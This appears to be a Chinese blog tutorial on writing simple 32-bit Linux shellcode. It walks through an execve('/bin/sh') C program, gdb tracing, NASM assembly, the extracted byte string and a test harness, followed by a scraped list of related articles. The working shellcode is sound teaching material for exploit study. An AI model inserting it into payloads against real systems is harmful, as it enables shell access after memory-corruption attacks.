0x00 介绍

Shellcode 是指经过精心设计的一串指令,一旦注入正在运行的应用程序中即可运行,常用于栈和基于堆的溢出。术语Shellcode意思指的便是用于启动一个命令Shell的已编写好的可执行代码。

0x01 预写c调用程序

在linux中以C编写程序调用"/bin/sh"。

#include "unistd.h"
#include "stdio.h" char * buff[] = {"/bin/sh", NULL};
void main(){
execve("/bin/sh", buff, NULL);
}

以execve开启一个bash进程,调用路径为/bin/sh。

注:/bin/sh是一个指向dash的符号链接,实际运行的也是dash程序,dash即移植到linux的bash,比bash更小也更快。[#!/bin/bash和#!/bin/sh是什么意思以及区别]

0x02 gdb调试

以gdb打开编译好的文件,我调试的文件的为32-bit的,在64-bit中可以在gcc加上参数-m32即可编译为32-bit elf文件。(gcc-multilib)



图中 1 处调用execve函数,通过plt表调用,而 2 处栈中已将参数压入,分别为程序路径、参数数组、环境变量数组(此处为NULL)。

接着跟进,找到execve是怎么调用的:





可以看到在0xf7e8b68d处赋予eax值0xb,0xb(11)为execve的系统调用号。下一步执行到系统调用中断(call dword ptr gs:0x10)时,ebx指向的是“/bin/sh”字符串,ecx指向的是{“/bin/sh”,NULL}数组,edx为0。于是execve在32位linux系统中的参数传递方式为“参数1->ebx;参数2->ecx;参数3->edx”。

call *%gs:0x10 call will __kernel_vsyscall

32位的中断调用可采用int 80;而64位可采用syscall。

elf32函数系统调用号查看方式:cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h | grep execve

64位查看:cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep execve

0x03 编写汇编代码

最终只有一个目的,就是使得参数存入寄存器,然后系统调用。

section .text
global _start
_start:
xor eax, eax
push eax ; 字符串结尾 ==> NULL
push "//sh" ; '/bin//sh'
push "/bin"
mov ebx,esp ; '/bin//sh' address
push eax ; push 0
push ebx
mov ecx,esp ; array of argvs
xor edx,edx ; edx = 0
mov al,0x0b ; call execve
int 80h

编译:nasm -f elf32 -o test32 ./call_execve.asm

链接:ld -m elf_i386 -o atest ./test32

执行:



执行成功!

然后提取shellcode,objdump -d atest:



Shellcode:"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"



然后用C代码测试shellcode是否可用。

#include "unistd.h"
#include "stdio.h" void main(){
char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";
(*(void(*)())shellcode)();
}

其中的(*(void(*)())shellcode)();也可替换成((void(*)())shellcode)();,测试之后没有问题。在网上查找资料之后发现数据指针的*value操作符是取value地址下的数据,而在函数指针中*value则是将eip移至value地址处进行执行,而比如平时写程序的函数func();func也指向一个函数存储的位置,但是缺省了*

编译并执行:gcc -z execstack -m32 -o ssssss shellcode_run_execve.c



成功运行,但是得加上 -z execstack关闭NX,因为shellcode作为局部变量存于栈上。

0x04 总结

这是新的尝试,收获良多,计算机底层知识很重要。

0x05 参考文章

手把手简易实现shellcode及详解

简单shellcode编写的更多相关文章

  1. 简单shellcode学习

    本文由“合天智汇”公众号首发 作者:hope 引言 之前遇到没开启NX保护的时候,都是直接用pwtools库里的shellcode一把梭,也不太懂shellcode代码具体做了些什么,遇到了几道不能一 ...

  2. shellcode编写

    shellcode编写 shellcode是一段用于利用软件漏洞而执行的代码,通常使用机器语言编写,其目的往往是让攻击者获得目标机器的命令行shell而得名,其他有类似功能的代码也可以称为shellc ...

  3. 二、Windows 下 ShellCode 编写初步

    第二章.Windows 下 ShellCode 编写初步 (一)shellcode 定义:最先的 Shell 指的是人机交互界面,ShellCode 是一组能完成我们想要的功能的机器代码,通常以十六进 ...

  4. PWN 菜鸡入门之 shellcode编写 及exploid-db用法示例

    下面我将参考其他资料来一步步示范shellcode的几种编写方式 0x01 系统调用 通过系统调用execve函数返回shell C语言实现: #include<unistd.h> #in ...

  5. 网络安全(超级详细)零基础带你一步一步走进缓冲区溢出漏洞和shellcode编写!

    零基础带你走进缓冲区溢出,编写shellcode. 写在前面的话:本人是以一个零基础者角度来带着大家去理解缓冲区溢出漏洞,当然如果你是开发者更好. 注:如果有转载请注明出处!创作不易.谢谢合作. 0. ...

  6. Jarvis OJ - [XMAN]level1 - Writeup——简单shellcode利用

    100分的pwn 简单查看一下,果然还是比较简单的 放到ida中查看一下,有明显的溢出函数,并且在函数中打印出了字符串的地址,并且字符串比较长,没有NX保护 所以我们很容易想到构造shellcode, ...

  7. Android简单的编写一个txt阅读器(没有处理字符编码),适用于新手学习

    本程序只是使用了一些基本的知识点编写了一个比较简单粗陋的txt文本阅读器,效率不高,只适合新手练习.所以大神勿喷. 其实想到编写这种程序源自本人之前喜欢看小说,而很多小说更新太慢,所以本人就只能找一个 ...

  8. SpringMVC(一) 简单代码编写,注解,重定向与转发

    SpringMVC是什么 SpringMVC是目前最好的实现MVC设计模式的框架,是Spring框架的一个分支产品,以SpringIOC容器为基础,并利用容器的特性来简化它的配置.SpringMVC相 ...

  9. 简单的编写java的helloWord

    那么在上一章章节 http://www.cnblogs.com/langjunnan/p/6814641.html 我们简单的俩了解了一下什么是java和配置编写java的环境,本章呢我们学习如何编写 ...

随机推荐

  1. 关于mui前端传值,springboot后台接收值的问题

    最近做app,使用mui的ajax给后台传参,后台一直接收不到值,表示很蛋疼.这里通过网上搜索加上个人实践,总结归纳了三种前端传值和后台接收的方式. 第一种: 前端: data: JSON.strin ...

  2. LeetCode算法题-Jewels and Stones(Java实现)

    这是悦乐书的第313次更新,第334篇原创 01 看题和准备 今天介绍的是LeetCode算法题中Easy级别的第182题(顺位题号是771).字符串J代表珠宝,S代表你拥有的石头.S中的每个字符都是 ...

  3. hdfs一直处于safemode模式

    目前来看,导致hdfs一直处于safemode模式最直接的原因是已成功复制的块的比例没有达到默认值,块的损坏也会造成一直处于安全模式. 1)文件系统中有损坏的文件,使用fsck命令来查看 hadoop ...

  4. HNOI2019 苟命记

    Day0 瞎看了看博客,然后看了看wf题,看了一下午柯南剧场版... 后来发现,复习根本没用,因为我根本没学过. Day1 首先随便看了看三道题,觉得 \(T1\) 挺可做的,\(T2\) 看起来是什 ...

  5. Unicode 与 utf8 utf16 utf32的关系

    Unicode是计算机领域的一项行业标准,它对世界上绝大部分的文字的进行整理和统一编码,Unicode的编码空间可以划分为17个平面(plane),每个平面包含2的16次方(65536)个码位.17个 ...

  6. kafka基础知识点

    1.安装: 1.1. 前置安装要求:java + zookeeper 1.2. 下载安装包:http://mirros.cnnic.cn/apache/kafka/0.9.00/kafka_2.10- ...

  7. mybatis-generator : 自动生成代码

    [参考文章]:mybatis generator自动生成代码时 只生成了insert 而没有其他 [参考文章]:Mybatis Generator最完整配置详解 1. pom <plugin&g ...

  8. Android开发:UI相关(一)自定义样式资源

    一.自定义样式资源:   1.在drawble中新建xml资源文件:     如果新建的xml文件没有自动放置在drawable文件夹下,就手动移动到drawable下. 2.编写样式代码: < ...

  9. 关于 Docker 镜像的操作,看完这篇就够啦 !(上)

    文章首发于微信公众号: 小哈学Java 镜像作为 Docker 三大核心概念中,最重要的一个关键词,它有很多操作,是您想学习容器技术不得不掌握的.本文将带您一步一步,图文并重,上手操作来学习它. 目录 ...

  10. 日吞吐万亿,腾讯云时序数据库CTSDB解密

    一.背景 随着移动互联网.物联网.大数据等行业的高速发展,数据在持续的以指数级的速度增长,比如我们使用手机访问互网络时的行为数据,各种可穿戴设备上报的状态数据,工厂中设备传感器采集的指标数据,传统互联 ...